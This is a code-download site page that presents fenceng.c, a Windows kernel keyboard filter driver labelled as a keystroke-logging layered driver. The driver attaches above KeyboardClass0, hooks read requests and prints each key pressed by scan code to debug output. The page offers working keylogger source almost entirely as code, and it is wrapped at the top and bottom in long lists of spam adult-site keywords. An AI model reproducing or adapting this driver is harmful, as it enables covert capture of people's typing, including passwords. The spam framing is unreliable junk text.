亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? fenceng.c

?? 鍵盤記錄分層驅動
?? C
字號:


#include <ntddk.h>
#include <ntddkbd.h>

PDEVICE_OBJECT selfdevice,targetdevice;;

PIRP pcancel;

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#pragma LOCKEDCODE
NTSTATUS CompeleteRoutin(IN PDEVICE_OBJECT DeviceObject,
						 IN PIRP Irp,
						 IN PVOID Context
						 )
{

	    PKEYBOARD_INPUT_DATA key;
		if (Irp->PendingReturned==TRUE)
		{
			IoMarkIrpPending(Irp);
		}
		key = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
        _try{
				if (key->Flags==KEY_MAKE && key->MakeCode)
				{
					
					switch (key->MakeCode)
					{
					case 0x1:
						DbgPrint("ESC 鍵被按下");
						break;
					case 0x2:
						DbgPrint("1 鍵被按下");
						break;
					case 0x3:
						DbgPrint("2 鍵被按下");
						break;
					case 0x4:
						DbgPrint("3 鍵被按下");
						break;
					case 0x5:
						DbgPrint("4 鍵被按下");
						break;
					case 0x6:
						DbgPrint("5 鍵被按下");
						break;
					case 0x7:
						DbgPrint("6 鍵被按下");
						break;
					case 0x8:
						DbgPrint("7 鍵被按下");
						break;
					case 0x9:
						DbgPrint("8 鍵被按下");
						break;
					case 0xA:
						DbgPrint("9 鍵被按下");
						break;
					case 0xB:
						DbgPrint("0 鍵被按下");
						break;
					case 0xC:
						DbgPrint("- 鍵被按下");
						break;
					case 0xD:
						DbgPrint("= 鍵被按下");
						break;
					case 0xE:
						DbgPrint("BACKSPACE 鍵被按下");
						break;
					case 0xF:
						DbgPrint("TAB 鍵被按下");
						break;
					case 0x10:
						DbgPrint("Q 鍵被按下");
						break;
					case 0x11:
						DbgPrint("W 鍵被按下");
						break;
					case 0x12:
						DbgPrint("E 鍵被按下");
						break;
					case 0x13:
						DbgPrint("R 鍵被按下");
						break;
					case 0x14:
						DbgPrint("T 鍵被按下");
						break;
					case 0x15:
						DbgPrint("Y 鍵被按下");
						break;
					case 0x16:
						DbgPrint("U 鍵被按下");
						break;
					case 0x17:
						DbgPrint("I 鍵被按下");
						break;
					case 0x18:
						DbgPrint("O 鍵被按下");
						break;
					case 0x19:
						DbgPrint("P 鍵被按下");
						break;
					case 0x1A:
						DbgPrint("[ 鍵被按下");
						break;
					case 0x1B:
						DbgPrint("] 鍵被按下");
						break;
					case 0x2B:
						DbgPrint("\\ 鍵被按下");
						break;
					case 0x1D:
						DbgPrint("LEFT CTRL 鍵被按下");
						break;
					case 0x1E:
						DbgPrint("A 鍵被按下");
						break;
					case 0x1F:
						DbgPrint("S 鍵被按下");
						break;
					case 0x20:
						DbgPrint("D 鍵被按下");
						break;
					case 0x21:
						DbgPrint("F 鍵被按下");
						break;
					case 0x22:
						DbgPrint("G 鍵被按下");
						break;
					case 0x23:
						DbgPrint("H 鍵被按下");
						break;
					case 0x24:
						DbgPrint("J 鍵被按下");
						break;
					case 0x25:
						DbgPrint("K 鍵被按下");
						break;
					case 0x26:
						DbgPrint("L 鍵被按下");
						break;
					case 0x27:
						DbgPrint("; 鍵被按下");
						break;
					case 0x28:
						DbgPrint("' 鍵被按下");
						break;
					case 0x29:
						DbgPrint("` 鍵被按下");
						break;
					case 0x2A:
						DbgPrint("LEFT SHIFT 鍵被按下");
						break;
					case 0x1C:
						DbgPrint("ENTER 鍵被按下");
						break;
					case 0x2C:
						DbgPrint("Z 鍵被按下");
						break;
					case 0x2D:
						DbgPrint("X 鍵被按下");
						break;
					case 0x2E:
						DbgPrint("C 鍵被按下");
						break;
					case 0x2F:
						DbgPrint("V 鍵被按下");
						break;
					case 0x30:
						DbgPrint("B 鍵被按下");
						break;
					case 0x31:
						DbgPrint("N 鍵被按下");
						break;
					case 0x32:
						DbgPrint("M 鍵被按下");
						break;
					case 0x33:
						DbgPrint(", 鍵被按下");
						break;
					case 0x34:
						DbgPrint(". 鍵被按下");
						break;
					case 0x35:
						DbgPrint("/ 鍵被按下");
						break;
					case 0x36:
						DbgPrint("RIGHT SHIFT 鍵被按下");
						break;
					case 0x37:
						DbgPrint("* 鍵被按下");
						break;
					case 0x38:
						DbgPrint("LEFT ALT 鍵被按下");
						break;
					case 0x39:
						DbgPrint("SPACE 鍵被按下");
						break;
					case 0x3A:
						DbgPrint("CAP LOCK 鍵被按下");
						break;
					case 0x3B:
						DbgPrint("F1 鍵被按下");
						break;
					case 0x3C:
						DbgPrint("F2 鍵被按下");
						break;
					case 0x3D:
						DbgPrint("F3 鍵被按下");
						break;
					case 0x3E:
						DbgPrint("F4 鍵被按下");
						break;
					case 0x3F:
						DbgPrint("F5 鍵被按下");
						break;
					case 0x40:
						DbgPrint("F6 鍵被按下");
						break;
					case 0x41:
						DbgPrint("F7 鍵被按下");
						break;
					case 0x42:
						DbgPrint("F8 鍵被按下");
						break;
					case 0x43:
						DbgPrint("F9 鍵被按下");
						break;
					case 0x44:
						DbgPrint("F10 鍵被按下");
						break;
					case 0x45:
						DbgPrint("NumLock 鍵被按下");
						break;
					case 0x46:
						DbgPrint("小鍵盤 / 鍵被按下");
						break;
					case 0x47:
						DbgPrint("小鍵盤 7 鍵被按下");
						break;
					case 0x48:
						DbgPrint("小鍵盤 8 鍵被按下");
						break;
					case 0x49:
						DbgPrint("小鍵盤 9 鍵被按下");
						break;
					case 0x4A:
						DbgPrint("小鍵盤 - 鍵被按下");
						break;
					case 0x4B:
						DbgPrint("小鍵盤 4 鍵被按下");
						break;
					case 0x4C:
						DbgPrint("小鍵盤 5 鍵被按下");
						break;
					case 0x4D:
						DbgPrint("小鍵盤 6 鍵被按下");
						break;
                    case 0x4E:
						DbgPrint("小鍵盤 + 鍵被按下");
						break;
					case 0x4F:
						DbgPrint("小鍵盤 1 鍵被按下");
						break;
					case 0x50:
						DbgPrint("小鍵盤 2 鍵被按下");
						break;
					case 0x51:
						DbgPrint("小鍵盤 3 鍵被按下");
						break;
					case 0x52:
						DbgPrint("小鍵盤 0 鍵被按下");
						break;
					case 0x53:
						DbgPrint("小鍵盤 . 鍵被按下");
						break;
					case 0x57:
						DbgPrint("F11 鍵被按下");
						break;
					case 0x58:
						DbgPrint("F12 鍵被按下");
						break;

					default:
						DbgPrint("%X",key->MakeCode);
						break;
					}
				}
		}_except(EXCEPTION_CONTINUE_EXECUTION)
		{
                DbgPrint("%x",GetExceptionCode());
		}
		return STATUS_CONTINUE_COMPLETION;

    
   
}

#pragma PAGEDCODE
NTSTATUS
Dispatch(
		 IN PDEVICE_OBJECT  DeviceObject,
		 IN PIRP  Irp
    )
{

	IoSkipCurrentIrpStackLocation(Irp);
	return IoCallDriver(targetdevice,Irp);
}

NTSTATUS
DispatchRead(
				  IN PDEVICE_OBJECT  DeviceObject,
				  IN PIRP  Irp
    )
{
	PIO_STACK_LOCATION irpsp;
	NTSTATUS s;
	PKEYBOARD_INPUT_DATA key;


	//DbgPrint("read");
 
	pcancel = Irp;
    IoCopyCurrentIrpStackLocationToNext(Irp);
//    IoSkipCurrentIrpStackLocation(Irp);

	IoSetCompletionRoutine(Irp,CompeleteRoutin,NULL,TRUE,TRUE,TRUE);

	return IoCallDriver(targetdevice,Irp);

}



VOID 
Unload( 
		  IN PDRIVER_OBJECT  DriverObject 
    )
{
	if (pcancel)
	{
		IoCancelIrp(pcancel);
	}
	

	IoDetachDevice(targetdevice);
	IoDeleteDevice(selfdevice);
	DbgPrint("Driver Unload!");
}



NTSTATUS 
DriverEntry( 
			IN PDRIVER_OBJECT  DriverObject, 
			IN PUNICODE_STRING  RegistryPath 
    )
{
    PDEVICE_OBJECT device;
	PFILE_OBJECT file;
	NTSTATUS s;
    UNICODE_STRING DeviceName;
	ULONG i;


	DbgPrint("Driver loaded!");
	DriverObject->DriverUnload = Unload;

	for (i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
	{
		DriverObject->MajorFunction[i] = Dispatch;
	}

	DriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;


	
	RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");

	s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);

	if (!NT_SUCCESS(s))
	{
		DbgPrint("Get Device error!");
		return s;
	}
    
	s = IoCreateDevice(DriverObject,
		                0,
                        NULL,
						device->Type,
						device->Characteristics,
						TRUE,
						&selfdevice
						);
	if (!NT_SUCCESS(s))
	{
		ObDereferenceObject(file);
		DbgPrint("Create Device Faile!!!");
		return s;
	}
    
    targetdevice = IoAttachDeviceToDeviceStack(selfdevice,device);

	if (!targetdevice)
	{
		IoDeleteDevice(selfdevice);
		ObDereferenceObject(file);
		DbgPrint("attach faile");
		return STATUS_INSUFFICIENT_RESOURCES;
	}

	selfdevice->DeviceType = targetdevice->DeviceType;
	selfdevice->Characteristics = targetdevice->Characteristics;
	selfdevice->Flags &=~DO_DEVICE_INITIALIZING;
	selfdevice->Flags |=(targetdevice->Flags & (DO_DIRECT_IO | DO_BUFFERED_IO));

	ObDereferenceObject(file);
	DbgPrint("SUCCESS");

	return STATUS_SUCCESS;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲综合色视频| 在线精品国精品国产尤物884a| 99re这里都是精品| 日韩小视频在线观看专区| 中文字幕一区二区三区不卡| 青青草原综合久久大伊人精品优势| 国产91丝袜在线播放| 91精品欧美一区二区三区综合在| 国产精品色哟哟| 久久99国产精品尤物| 在线日韩国产精品| 中文字幕av不卡| 久久不见久久见中文字幕免费| 日本高清不卡视频| 国产精品大尺度| 国产精品一区二区果冻传媒| 欧美日韩国产高清一区二区三区 | 国产中文字幕一区| 欧美午夜影院一区| 亚洲精选视频免费看| 国产成人啪免费观看软件| 欧美一级片免费看| 亚洲一区二区综合| 色综合久久中文字幕综合网| 国产欧美日韩精品一区| 麻豆成人在线观看| 91精品国产全国免费观看| 亚洲综合自拍偷拍| 色又黄又爽网站www久久| 国产精品电影一区二区| 国产成人免费av在线| 久久久777精品电影网影网 | 精品福利一区二区三区免费视频| 亚洲国产精品一区二区www | 亚洲va欧美va国产va天堂影院| 色婷婷国产精品综合在线观看| 亚洲欧美日韩国产中文在线| 97久久精品人人澡人人爽| 中文字幕免费在线观看视频一区| 国产v综合v亚洲欧| 国产日产精品1区| 国产成人在线视频网站| 日本一区二区三区视频视频| 成人一道本在线| 亚洲天堂久久久久久久| 在线看国产一区| 日韩电影免费在线观看网站| 日韩手机在线导航| 精东粉嫩av免费一区二区三区| xnxx国产精品| 99久久99久久精品免费看蜜桃| 亚洲日本成人在线观看| 欧美在线观看禁18| 日本特黄久久久高潮| 日韩欧美成人午夜| 国产成人鲁色资源国产91色综| 亚洲欧美日韩国产手机在线| 精品视频一区 二区 三区| 麻豆成人久久精品二区三区小说| 国产欧美日韩激情| 在线一区二区观看| 麻豆高清免费国产一区| 国产精品毛片a∨一区二区三区| 91麻豆视频网站| 日韩成人精品在线| 国产日韩精品一区二区浪潮av | 亚洲综合色自拍一区| 在线成人av网站| 国产久卡久卡久卡久卡视频精品| 国产精品久99| 91精品视频网| 成人精品视频一区二区三区尤物| 亚洲国产毛片aaaaa无费看| 精品国产百合女同互慰| 91热门视频在线观看| 日韩专区一卡二卡| 国产嫩草影院久久久久| 精品视频一区三区九区| 国产成人在线看| 日韩精品视频网站| 亚洲欧洲日韩女同| 日韩精品中午字幕| 色婷婷av一区二区三区gif| 极品少妇xxxx精品少妇偷拍| 亚洲精品免费在线| 久久久www免费人成精品| 欧美无砖专区一中文字| 成人综合激情网| 久久国产精品区| 午夜精品久久久| 亚洲视频图片小说| 久久久不卡网国产精品一区| 欧美精品在线一区二区| 91视视频在线观看入口直接观看www | 国产在线不卡一区| 午夜视频在线观看一区二区三区| 国产视频亚洲色图| 日韩无一区二区| 91精品国产综合久久蜜臀| 91黄色免费看| 日本精品一区二区三区高清 | 久久综合九色综合欧美就去吻| 欧美性一二三区| 不卡大黄网站免费看| 国产精品正在播放| 国产在线视频不卡二| 老司机午夜精品| 日韩黄色免费电影| 香蕉影视欧美成人| 亚洲国产日产av| 亚洲一区在线观看视频| 一区二区三区在线观看国产| 亚洲男女一区二区三区| 国产精品久久久久影院亚瑟| 国产日产精品1区| 欧美激情一区二区三区全黄| 国产日产精品一区| 亚洲国产精品av| 中文一区一区三区高中清不卡| 国产欧美日韩在线| 国产精品传媒入口麻豆| 亚洲欧洲精品一区二区三区| 亚洲欧美偷拍三级| 亚洲午夜精品一区二区三区他趣| 亚洲国产欧美日韩另类综合 | 国产精品第一页第二页第三页| 国产精品私人影院| 成人免费视频在线观看| 亚洲色图欧美在线| 亚洲一区二区av电影| 午夜电影久久久| 蜜臀av性久久久久蜜臀aⅴ四虎| 看国产成人h片视频| 国产福利一区二区三区视频在线| 国产成a人亚洲| 一本久道久久综合中文字幕| 欧美日韩免费在线视频| 日韩一区二区影院| 久久久久久久久久电影| 国产精品成人免费精品自在线观看| 亚洲女子a中天字幕| 日本不卡视频在线观看| 国产一区免费电影| 91丝袜美女网| 3d成人动漫网站| 国产性天天综合网| 一区二区成人在线| 日本伊人精品一区二区三区观看方式| 国产一区二区精品久久| 9色porny自拍视频一区二区| 4hu四虎永久在线影院成人| 精品国产3级a| 一区二区三区在线不卡| 久久99久久久久| 色婷婷综合久色| 久久久久免费观看| 亚洲国产日日夜夜| 国产精品亚洲成人| 欧美午夜影院一区| 中文字幕久久午夜不卡| 亚洲bdsm女犯bdsm网站| 国产精品12区| 欧美精品一二三| 亚洲同性gay激情无套| 美女免费视频一区二区| 91看片淫黄大片一级| 久久久不卡影院| 午夜在线电影亚洲一区| av男人天堂一区| 亚洲精品在线一区二区| 亚洲午夜久久久久久久久电影网| 国产91精品免费| 精品日产卡一卡二卡麻豆| 亚洲国产毛片aaaaa无费看 | 欧美一区二区三区婷婷月色| 日韩美女精品在线| 国产乱码精品一区二区三区忘忧草 | 婷婷国产在线综合| 不卡一区在线观看| 精品美女一区二区| 日日夜夜一区二区| 色婷婷综合五月| 亚洲欧洲美洲综合色网| 国产东北露脸精品视频| 日韩一区二区三区四区五区六区| 悠悠色在线精品| 91免费观看视频在线| 国产精品热久久久久夜色精品三区| 国产在线麻豆精品观看| 日韩精品一区二区三区蜜臀| 亚洲va韩国va欧美va| 欧美色区777第一页| 亚洲综合自拍偷拍| 一本到一区二区三区| 亚洲欧美综合在线精品| 国产91露脸合集magnet| 久久久久久9999| 国产在线精品一区二区夜色| 欧美大度的电影原声| 精品一区二区在线观看|